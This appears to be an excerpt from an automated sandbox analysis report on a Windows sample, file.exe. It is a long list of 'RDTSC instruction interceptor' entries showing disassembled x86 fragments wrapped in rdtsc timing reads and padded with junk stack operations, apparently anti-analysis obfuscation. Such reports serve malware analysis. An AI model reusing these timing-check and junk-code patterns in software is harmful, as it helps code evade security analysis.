Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6333 second address: 11D6371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 jmp 00007FB21D05D606h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f push eax 0x00000020 pushad 0x00000021 popad 0x00000022 push edx 0x00000023 pop edx 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D64EF second address: 11D650B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB21D0A7D81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D650B second address: 11D6517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 je 00007FB21D05D5F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67E3 second address: 11D67E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6AA0 second address: 11D6AB6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FB21D05D5FCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6AB6 second address: 11D6AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FB21D0A7D85h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9C96 second address: 11D9CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a add dword ptr [esp], 4F2AFA52h 0x00000011 call 00007FB21D05D5F9h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FB21D05D5F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9CBE second address: 11D9CD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB21D0A7D7Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9CD0 second address: 11D9D3D instructions: 0x00000000 rdtsc 0x00000002 js 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e ja 00007FB21D05D5F6h 0x00000014 jmp 00007FB21D05D601h 0x00000019 popad 0x0000001a pop edx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push edi 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 pop edx 0x00000024 pop edi 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ecx 0x00000028 pushad 0x00000029 push edx 0x0000002a pop edx 0x0000002b jmp 00007FB21D05D601h 0x00000030 popad 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 jmp 00007FB21D05D605h 0x0000003e jl 00007FB21D05D5F6h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9D3D second address: 11D9D42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9FB7 second address: 11D9FBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9FBE second address: 11D9FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jl 00007FB21D0A7D88h 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FB21D0A7D76h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DADC0 second address: 11DADC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAF23 second address: 11DAF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAF29 second address: 11DAF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBEDD second address: 11DBEE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB21D0A7D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCF56 second address: 11DCFD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB21D05D5FBh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FB21D05D5FAh 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edx 0x00000016 nop 0x00000017 add dword ptr [ebp+122D32E4h], ebx 0x0000001d mov esi, dword ptr [ebp+122D1C2Dh] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FB21D05D5F8h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov di, 5BCDh 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007FB21D05D5F8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f cld 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push esi 0x00000064 jbe 00007FB21D05D5F6h 0x0000006a pop esi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC732 second address: 11DC737 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCFD6 second address: 11DCFDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDA46 second address: 11DDA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD832 second address: 11DD837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD837 second address: 11DD841 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB21D0A7D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDADA second address: 11DDAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDAE0 second address: 11DDAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE500 second address: 11DE506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE506 second address: 11DE579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FB21D0A7D78h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov di, dx 0x00000026 push 00000000h 0x00000028 sub edi, dword ptr [ebp+122D2943h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FB21D0A7D78h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov dword ptr [ebp+1243F180h], edi 0x00000050 ja 00007FB21D0A7D77h 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jg 00007FB21D0A7D78h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE579 second address: 11DE58A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007FB21D05D5F6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF7E3 second address: 11DF7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB21D0A7D76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B6C second address: 11E1B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CC4E second address: 119CC52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E75C0 second address: 11E75CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7A4B second address: 11E7A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AAF second address: 11E8AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AB5 second address: 11E8ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB21D0A7D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8C71 second address: 11E8C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8C75 second address: 11E8C86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a je 00007FB21D0A7D76h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EAABF second address: 11EAAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EAAC3 second address: 11EAACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB21D0A7D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9DE8 second address: 11E9DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EAACD second address: 11EAB3E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f movsx edi, dx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FB21D0A7D78h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+1243ACA5h], edi 0x00000034 push 00000000h 0x00000036 pushad 0x00000037 pushad 0x00000038 ja 00007FB21D0A7D76h 0x0000003e mov dword ptr [ebp+122D58B4h], edi 0x00000044 popad 0x00000045 mov ebx, edx 0x00000047 popad 0x00000048 jmp 00007FB21D0A7D89h 0x0000004d push eax 0x0000004e js 00007FB21D0A7D84h 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9DED second address: 11E9DF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9DF2 second address: 11E9DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9DFF second address: 11E9E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E9E03 second address: 11E9E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBA30 second address: 11EBA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBA35 second address: 11EBA96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a ja 00007FB21D0A7D7Ch 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FB21D0A7D78h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c sub edi, dword ptr [ebp+122D2B33h] 0x00000032 mov di, AD5Bh 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D2C50h], edx 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jno 00007FB21D0A7D76h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBA96 second address: 11EBA9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EBA9C second address: 11EBAA6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB21D0A7D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECBC1 second address: 11ECBDA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FB21D05D5F8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEA8F second address: 11EEA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEA93 second address: 11EEA99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD29 second address: 11EDD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D0A7D85h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD42 second address: 11EDD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFB00 second address: 11EFB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A70 second address: 11F1A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FB21D05D5F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2AEF second address: 11F2B47 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D0A7D7Ch 0x00000008 je 00007FB21D0A7D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB21D0A7D78h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov bx, 5AC0h 0x00000031 push 00000000h 0x00000033 add bh, 0000005Bh 0x00000036 push 00000000h 0x00000038 xor dword ptr [ebp+1244E4F9h], esi 0x0000003e mov bx, cx 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 jmp 00007FB21D0A7D7Dh 0x0000004a pushad 0x0000004b popad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3A66 second address: 11F3A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4A53 second address: 11F4A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b mov edi, 520C2FD8h 0x00000010 push 00000000h 0x00000012 movzx edi, ax 0x00000015 xchg eax, esi 0x00000016 jmp 00007FB21D0A7D82h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007FB21D0A7D86h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F59C1 second address: 11F59CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0DBB second address: 11F0DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D0A7D7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1C08 second address: 11F1C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C80 second address: 11F2CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D5894h] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov edi, dword ptr [ebp+122D30B8h] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007FB21D0A7D78h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f mov eax, dword ptr [ebp+122D0499h] 0x00000045 mov bh, 67h 0x00000047 push FFFFFFFFh 0x00000049 mov ebx, dword ptr [ebp+1247834Fh] 0x0000004f add dword ptr [ebp+122D1FFCh], edi 0x00000055 nop 0x00000056 pushad 0x00000057 jmp 00007FB21D0A7D86h 0x0000005c push edi 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1C12 second address: 11F1C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2CF9 second address: 11F2D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB21D0A7D86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1CAD second address: 11F1CB7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFD36 second address: 11EFD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFD3A second address: 11EFD44 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5BDB second address: 11F5BF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5BF3 second address: 11F5BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5BF9 second address: 11F5BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5BFD second address: 11F5C0F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5C0F second address: 11F5C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE1B7 second address: 11FE1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE1BE second address: 11FE1DB instructions: 0x00000000 rdtsc 0x00000002 je 00007FB21D0A7D80h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FB21D0A7D76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE1DB second address: 11FE1F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE1F1 second address: 11FE1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE360 second address: 11FE36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB21D05D5F6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204720 second address: 1204724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204724 second address: 1204763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FB21D05D5FAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FB21D05D600h 0x00000018 jmp 00007FB21D05D603h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204763 second address: 1204799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnl 00007FB21D0A7D8Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jnp 00007FB21D0A7D76h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BB8 second address: 1205BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
